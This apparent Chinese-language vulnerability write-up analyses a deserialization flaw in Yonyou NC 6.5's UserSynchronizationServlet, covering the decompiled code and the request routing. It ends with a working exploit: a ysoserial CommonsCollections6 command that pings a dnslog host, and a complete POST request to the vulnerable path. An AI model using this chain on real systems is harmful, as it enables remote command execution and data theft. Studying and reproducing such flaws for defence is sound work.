漏洞介绍

用友NC系统UserSynchronizationServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。

影响版本

用友NC6.5

漏洞分析

漏洞位于nc.bs.pub.im.UserSynchronizationServlet接口

findstr /msi /c:"UserSynchronizationServlet" *.jar

漏洞代码:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package nc.bs.pub.im;

import com.uap.im.impl.IMUserQueryServiceImpl;
import common.IMUser;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.logging.Logger;
import net.sf.json.JSONArray;
import uap.im.pub.utils.RSAUtils;

public class UserSynchronizationServlet extends HttpServlet {
    private static final long serialVersionUID = 5734336943919144855L;

    public UserSynchronizationServlet() {
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ObjectInputStream in = new ObjectInputStream(request.getInputStream());
        HashMap<Object, Object> headInfo = new HashMap();

        try {
            headInfo = (HashMap)in.readObject();
        } catch (ClassNotFoundException var14) {
            ClassNotFoundException e1 = var14;
            e1.printStackTrace();
        }

        try {
            String ts = (String)headInfo.get("ts");
            String dsName = (String)headInfo.get("dsName");
            String servicecode = (String)headInfo.get("servicecode");
            String encode = (String)headInfo.get("encode");
            Boolean isAuth = RSAUtils.serviceAuthCheck(servicecode, encode);
            ObjectOutputStream oos = null;
            if (isAuth) {
                List<IMUser> contactsList = (new IMUserQueryServiceImpl()).userSynchronization(ts, dsName);
                JSONArray userJsonArray = null;
                if (contactsList != null && contactsList.size() > 0) {
                    userJsonArray = JSONArray.fromObject(contactsList);
                }

                oos = new ObjectOutputStream(response.getOutputStream());
                oos.writeObject(userJsonArray);
                oos.flush();
            }
        } catch (Exception var13) {
            Exception e = var13;
            Logger.error("[ERROR 4 IM]", e);
        }

    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }
}

很明显的反序列化漏洞, 接收POST请求时,读取了输入流,之后对输入流方法进行in.readObject()造成了反序列化漏洞

接下来构造请求URL,要调用UserQueryServiceServlet类,只要在请求路由加上/~包名称+UserSynchronizationServlet类的完整路径即可

查看系统的Web.xml,可以看见请求/service和/servlet前缀的都经过NCInvokerServlet方法处理

NCInvokerServlet接口的doAction方法如下:

private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  String pathInfo = request.getPathInfo();
  log.debug("Before Invoke: " + pathInfo);
  long requestTime = System.currentTimeMillis();

  try {
     pathInfo = pathInfo.trim();
     String moduleName = null;
     String serviceName = null;
     int beginIndex;
     if(pathInfo.startsWith("/~")) {
        moduleName = pathInfo.substring(2);
        beginIndex = moduleName.indexOf("/");
        if(beginIndex >= 0) {
           serviceName = moduleName.substring(beginIndex);
           if(beginIndex > 0) {
              moduleName = moduleName.substring(0, beginIndex);
           } else {
              moduleName = null;
           }
        } else {
           moduleName = null;
           serviceName = pathInfo;
        }
     } else {
        serviceName = pathInfo;
     }
     
    String method;
    obj = this.getServiceObject(moduleName, serviceName);
    
    if(obj instanceof Servlet) {
        Logger.init(obj.getClass());

        try {
           if(obj instanceof GenericServlet) {
              ((GenericServlet)obj).init();
           }

           this.preRemoteProcess();
           ((Servlet)obj).service(request, response);
           this.postRemoteProcess();
           ...
     } else if(obj instanceof IHttpServletAdaptor) {
        IHttpServletAdaptor msg = (IHttpServletAdaptor)obj;
        this.preRemoteProcess();
        msg.doAction(request, response);
        this.postRemoteProcess();

主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用。

这里包名称是uapim,再加上方法的完整路径就能进行请求了

所以这里的路由为:

servlet/~uapim/nc.bs.pub.im.UserSynchronizationServlet

用友反序列化漏洞存在cc依赖,这里就直接使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中

java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin

漏洞复现

POST /servlet/~uapim/nc.bs.pub.im.UserSynchronizationServlet HTTP/1.1
Host: 
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

{{file{c:\c.bin}}}